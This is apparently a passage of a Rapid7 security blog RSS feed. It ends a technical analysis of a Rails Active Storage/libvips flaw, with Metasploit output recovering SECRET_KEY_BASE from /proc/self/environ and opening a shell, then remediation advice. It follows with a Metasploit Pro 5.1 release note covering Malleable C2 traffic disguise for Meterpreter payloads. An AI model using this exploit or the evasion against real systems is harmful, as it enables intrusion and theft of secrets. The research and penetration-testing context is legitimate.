[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened

msf6 exploit(multi/http/rails_activestorage_vips_rce) &gt; sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ethiack's published  1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>uint8</span></span><span style='font-size: undefined;'> layouts with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/dev/zero</span></span><span style='font-size: undefined;'> columns between file bytes. With those columns, it can invert image_processing </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>1.14.0</span></span><span style='font-size: undefined;'>'s vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.</span></p><h2 style="direction: ltr;">Remediation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>For remediation guidance, see Rapid7's </span><a href="https://www.rapid7.com/blog/post/etr-kindarails2shell-cve-2026-66066-critical-arbitrary-file-read-and-possible-remote-code-execution-in-ruby-on-rails/"><span style='font-size: undefined;'>Emergent Threat Response blog</span></a><span style='font-size: undefined;'> and the Rails </span><a href="https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'>. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>8.13</span></span><span style='font-size: undefined;'> or later plus ruby-vips </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2.2.1</span></span><span style='font-size: undefined;'> or later when ruby-vips is installed.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066</link>
      <guid isPermaLink="false">bltc9f39469e18d39db</guid>
      <category><![CDATA[Rapid7 Analysis]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Labs]]></category><dc:creator><![CDATA[Jonah Burgess]]></dc:creator>
      <pubDate>Mon, 03 Aug 2026 17:11:25 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Pro 5.1 Released]]></title>
      <description><![CDATA[<p><span style='font-size: undefined;'>Today marks the release of Metasploit Pro 5.1 - building upon the foundation laid in 5.0, adding new evasion primitives for HTTP Meterpreter payloads, support for tracking service hierarchies, a deeper and more interactive Network Topology view, and continuing our commitment to a modern, consistent UI. This release is powered by </span><a href="https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released/" target="_blank" title="Metasploit Framework 6.5 Released"><span style='font-size: undefined;'>Metasploit Framework 6.5</span></a><span style='font-size: undefined;'>.</span></p><h2><span style='font-size: undefined;'>Malleable C2 Profiles</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>One of the most requested capabilities in modern red-team engagements is the ability to blend Meterpreter's network traffic into legitimate-looking patterns. Metasploit Pro 5.1 brings full Malleable C2 profile support, powered by Metasploit Framework 6.5, directly into the Pro UI — no command-line knowledge required.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Malleable C2 profiles let you load a standard profile and reshape Meterpreter's HTTP(S) traffic to emulate legitimate services, browser sessions, or any other traffic pattern you need. All Meterpreter flavours — Windows, Linux, Java, Python, and PHP — are supported, including stageless and staged payloads (e.g. </span><span style='font-size: undefined;'><span data-type='inlineCode'>meterpreter/reverse_https</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>meterpreter_reverse_https</span></span><span style='font-size: undefined;'>). This functionality is compatible with </span><a href="https://github.com/BC-SECURITY/Malleable-C2-Profiles" target="_blank" title="Malleable C2 profiles"><span style='font-size: undefined;'>publicly available profile libraries</span></a><span style='font-size: undefined;'>.</span></p><h2><span style='font-size: undefined;'>Profile support across the Pro UI</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Malleable C2 profiles are now available in every part of the workflow where a payload is configured:</span></p><ul><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Single Module Run:</strong></span><span style='font-size: undefined;'> The module options page now includes a Malleable C2 section.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Listeners (New & Edit):</strong></span><span style='font-size: undefined;'> You can now choose from profiles already uploaded to the server or upload a new </span><span style='font-size: undefined;'><span data-type='inlineCode'>.profile</span></span><span style='font-size: undefined;'> file directly from your browser.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Payload Generator:</strong></span><span style='font-size: undefined;'> The standalone payload generator also exposes the profile picker, so standalone payloads can carry the same C2 profile as the rest of your operation.</span><br/></li></ul><p><span style='font-size: undefined;'></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt00c8f7cfba369f9b/6a6b58a317e9ee7712e39f56/mal-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mal-1.png" asset-alt="mal-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt00c8f7cfba369f9b/6a6b58a317e9ee7712e39f56/mal-1.png" data-sys-asset-uid="blt00c8f7cfba369f9b" data-sys-asset-filename="mal-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mal-1.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 1 Malleable Profiles</em></span></p><h2><span style='font-size: undefined;'>Improved Payload Section</span></h2><p><br/><span style='font-size: undefined;'>Alongside the Malleable C2 integration, the payload selector has been overhauled across the Listener, Module Run, and Payload Generator pages. You can now filter payloads by platform and stage, making it much faster to find the right payload in large lists.</span></p><p><span style='font-size: undefined;'><em></em></span></p><p><span style='font-size: undefined;'><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b8c9d84c56f4976/6a6b5ee417e9ee9f1ce39f77/mal-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mal-2.png" asset-alt="mal-2.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b8c9d84c56f4976/6a6b5ee417e9ee9f1ce39f77/mal-2.png" data-sys-asset-uid="blt5b8c9d84c56f4976" data-sys-asset-filename="mal-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mal-2.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 2: Advanced Payload Options</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5386f342760bb33c/6a6b6204a20f98921fdec716/select-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="select-1.png" asset-alt="select-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5386f342760bb33c/6a6b6204a20f98921fdec716/select-1.png" data-sys-asset-uid="blt5386f342760bb33c" data-sys-asset-filename="select-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="select-1.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 3: Additional Payload Options</em></span></p><h2><span style='font-size: undefined;'>Service Hierarchy Tracking Support</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The Discovered Services table has been overhauled with a cleaner, more capable interface consistent with the rest of Pro 5.1.</span></p><ul><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Service hierarchy visibility:</strong></span><span style='font-size: undefined;'> The most significant new capability. Services can have parent-child relationships - for example, an HTTP service running over TCP, or a tunnelled protocol layered over another. The new table exposes this hierarchy directly with dedicated columns showing each service's parent and child services, so you can immediately understand how discovered services relate to one another without drilling into individual records.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Search and sort across all columns:</strong></span><span style='font-size: undefined;'> You can now search across host name, host address, service name, protocol, port, and info in a single query. All major columns are sortable, including parent services.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Inline editing:</strong></span><span style='font-size: undefined;'> Service fields (name, port, protocol, state, resource) can be edited directly from the table without navigating away.</span></li></ul><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte99ed4bec8ace3d0/6a6b649cbe6e8040b26c6b9b/service-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="service-1.png" asset-alt="service-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte99ed4bec8ace3d0/6a6b649cbe6e8040b26c6b9b/service-1.png" data-sys-asset-uid="blte99ed4bec8ace3d0" data-sys-asset-filename="service-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="service-1.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 4: Service Options</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p><span style='font-size: undefined;'><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte899cf4f4f3abbe0/6a6b65164e3795c06488dd53/service-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="service-2.png" asset-alt="service-2.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte899cf4f4f3abbe0/6a6b65164e3795c06488dd53/service-2.png" data-sys-asset-uid="blte899cf4f4f3abbe0" data-sys-asset-filename="service-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="service-2.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 5: Service </em></span><em>Hierarchy</em><span style='font-size: undefined;'><em> Display</em></span></p><h2><span style='font-size: undefined;'>Network Topology Enhancements</span><br/></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Building on Metasploit Pro 5.0's improvements to the Network Topology, we've added additional support and functionality for exploring your internal infrastructure. Previously, each node in the graph provided a high level summary of the host details when hovering over the node. This has now been moved into a dedicated side panel that surfaces everything you know about a host without leaving the topology view.</span></p><h2><span style='font-size: undefined;'>Rich host information panels</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Click any node in the topology graph and the side panel now shows a consolidated summary of everything Metasploit knows about that host:</span></p><ul><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Sessions:</strong></span><span style='font-size: undefined;'> all sessions (open and closed) opened against the host, including session type, exploit used, payload, and timestamps.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Loot: </strong></span><span style='font-size: undefined;'>captured loot items associated with the host, including type, name, and content type.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Credentials:</strong></span><span style='font-size: undefined;'> cracked and captured credentials organised by service, de-duplicated and sorted with successful logins first.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Modules run:</strong></span><span style='font-size: undefined;'> a list of every module that has been executed against the host.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Tags:</strong></span><span style='font-size: undefined;'> any tags applied to the host or its sessions.</span></li></ul><p><span style='font-size: undefined;'></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt099cc5a0c6188dc7/6a6b6634724d9602dd02acb2/info-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="info-1.png" asset-alt="info-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt099cc5a0c6188dc7/6a6b6634724d9602dd02acb2/info-1.png" data-sys-asset-uid="blt099cc5a0c6188dc7" data-sys-asset-filename="info-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="info-1.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 6: Network Topology Display</em></span></p><h2><span style='font-size: undefined;'>New filter options</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The topology graph toolbar has three new filters to help focus on the hosts that matter:</span></p><ul><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Filter by bruteforce</strong></span><span style='font-size: undefined;'> - highlight services that can be bruteforced remotely on a host.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Filter by tag</strong></span><span style='font-size: undefined;'> - narrow the graph to hosts carrying a specific session or host tag.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Filter by username</strong></span><span style='font-size: undefined;'> - show only hosts where a particular user account has been compromised.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Filter by module</strong></span><span style='font-size: undefined;'> - surface hosts that have had a specific module run against them.</span></li></ul><p style="text-align: center;"><span style='font-size: undefined;'><em></em></span></p><p><span style='font-size: undefined;'><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltea875f08e2fd2aa2/6a6c7e89b966e121b163cdbc/info-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="info-2.png" asset-alt="info-2.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltea875f08e2fd2aa2/6a6c7e89b966e121b163cdbc/info-2.png" data-sys-asset-uid="bltea875f08e2fd2aa2" data-sys-asset-filename="info-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="info-2.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 7: Network Topology Graph Filter Options</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><h2><span style='font-size: undefined;'>Discovered Vulnerabilities - Modern UI</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The Discovered Vulnerabilities table has been fully rewritten, bringing it in line with the UI overhaul introduced across the rest of Pro in 5.0.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Key improvements:</span></p><ul><li style="direction: ltr;"><span style='font-size: undefined;'><strong>High level view and granular views</strong></span><span style='font-size: undefined;'> - Each registered vulnerability provides a high view such as references and affected services, as well as a more granular expandable breakdown view.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Inline editing</strong></span><span style='font-size: undefined;'> - vulnerability details can be edited directly from the table without navigating to a separate page.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Nexpose integration preserved</strong></span><span style='font-size: undefined;'> - all existing InsightVM/Nexpose push and pull workflows are retained in the new implementation.</span></li></ul><p><span style='font-size: undefined;'><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta640a6584832d135/6a6c803423f3b863303c3b20/disc-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="disc-1.png" asset-alt="disc-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta640a6584832d135/6a6c803423f3b863303c3b20/disc-1.png" data-sys-asset-uid="blta640a6584832d135" data-sys-asset-filename="disc-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="disc-1.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 8: Discovered Vulnerabilities Modern UI</em></span></p><h2><span style='font-size: undefined;'>Attack technique filtering support</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>MITRE ATT&CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. Metasploit Pro now supports searching for modules by these techniques:</span></p><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt660c6c699331ea15/6a6c848878b5fed09f8f066d/mod-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mod-1.png" asset-alt="mod-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt660c6c699331ea15/6a6c848878b5fed09f8f066d/mod-1.png" data-sys-asset-uid="blt660c6c699331ea15" data-sys-asset-filename="mod-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mod-1.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 9: Attack Technique Filtering Search</em></span></p><h2><span style='font-size: undefined;'>Upgrading</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Existing Pro installations can be upgraded through the standard update mechanism. Full upgrade instructions are available in the </span><a href="https://help.metasploit.com/Content/managing-updating-metasploit/updating-metasploit.html" target="_blank" title="Metasploit Updates"><span style='font-size: undefined;'>Metasploit Pro documentation</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>These features are available in Metasploit Pro 5.1.0 onwards. We're proud to collaborate with our customers, who are often the source of inspiration for product evolution. Ideas for improvements or enhancements can be shared with our Support team to help refine and submit them to the Product team on your behalf.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-pro-5-1-released</link>
      <guid isPermaLink="false">blt8dc6af57326bc0cf</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Penetration Testing]]></category><dc:creator><![CDATA[The Metasploit Team]]></dc:creator>
      <pubDate>Mon, 03 Aug 2026 14:48:13 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte0070cfd2a1161fa/683de8fa2a9b68aac72bd4a9/Metasploit.png" medium="image" />
    </item>
  </channel>
</rss>